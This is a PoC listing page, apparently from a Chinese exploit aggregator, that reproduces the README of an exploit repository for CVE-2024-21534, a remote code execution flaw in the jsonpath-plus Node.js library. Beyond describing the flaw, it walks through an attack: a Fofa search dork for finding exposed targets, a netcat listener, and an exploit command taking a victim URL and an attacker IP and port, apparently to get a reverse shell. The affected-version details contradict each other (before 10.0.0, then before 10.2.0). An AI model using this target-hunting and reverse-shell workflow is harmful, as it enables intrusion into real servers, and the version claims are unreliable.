POC详情: 76b4c293b94a867f3c9034b496f994b21931378d

来源
关联漏洞
标题: JSONPath Plus 安全漏洞 (CVE-2024-21534)
描述:JSONPath Plus是JSONPath Plus开源的一个库。 JSONPath Plus 10.0.0之前版本存在安全漏洞,该漏洞源于输入清理不当,容易受到远程代码执行(RCE)攻击,攻击者可以利用该漏洞在系统上执行任意代码。
描述
POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization
介绍
# POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization

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# Overview
CVE-2024-21534 is a critical vulnerability found in versions of the jsonpath-plus package prior to version 10.0.0. The vulnerability stems from improper input sanitization, which can lead to Remote Code Execution (RCE) on affected systems. This vulnerability is particularly dangerous as it can be exploited without authentication, allowing attackers to execute arbitrary code on the server by sending specially crafted input. This issue arises from the unsafe default usage of the Node.js vm module, which, if exploited, could compromise the entire system.

# Affected Versions
jsonpath-plus versions prior to 10.2.0

# Affected Components
The vulnerability is located in the jsonpath-plus package, which is widely used for querying JSON data structures in applications. The flaw is due to improper input sanitization, allowing malicious code execution.

**Read about it** — [CVE-2024-21534](https://nvd.nist.gov/vuln/detail/CVE-2024-21534)

> **Disclaimer**: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

## Getting Started

### Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

- **Fofa Dork**: `Jsonpath-plus`

![Fofa](https://github.com/user-attachments/assets/c55c3d7d-f06a-4837-bda5-7a8c5e3ebe81)

### Cloning the Repository

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-21534
```

Now open a listener using nc:
```bash
nc -lnvp 443
```
Run the Exploit:

### For Linux / MacOs:
Ensure that the URL points to an endpoint that processes user input via the vulnerable jsonpath-plus package, as this will allow for exploitation of the RCE vulnerability.

```bash
bash ./cve-2024-21534.sh <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>
```

![secoand](https://github.com/user-attachments/assets/845df725-6f0d-4a6b-a79e-594a803961ea)


### listing some directories:

![last](https://github.com/user-attachments/assets/c3aac78d-83ed-4688-8b83-0a03ec43ad51)
文件快照

[4.0K] /data/pocs/76b4c293b94a867f3c9034b496f994b21931378d ├── [2.8K] cve-2024-21534.sh ├── [1.0K] LICENSE └── [3.0K] README.md 0 directories, 3 files
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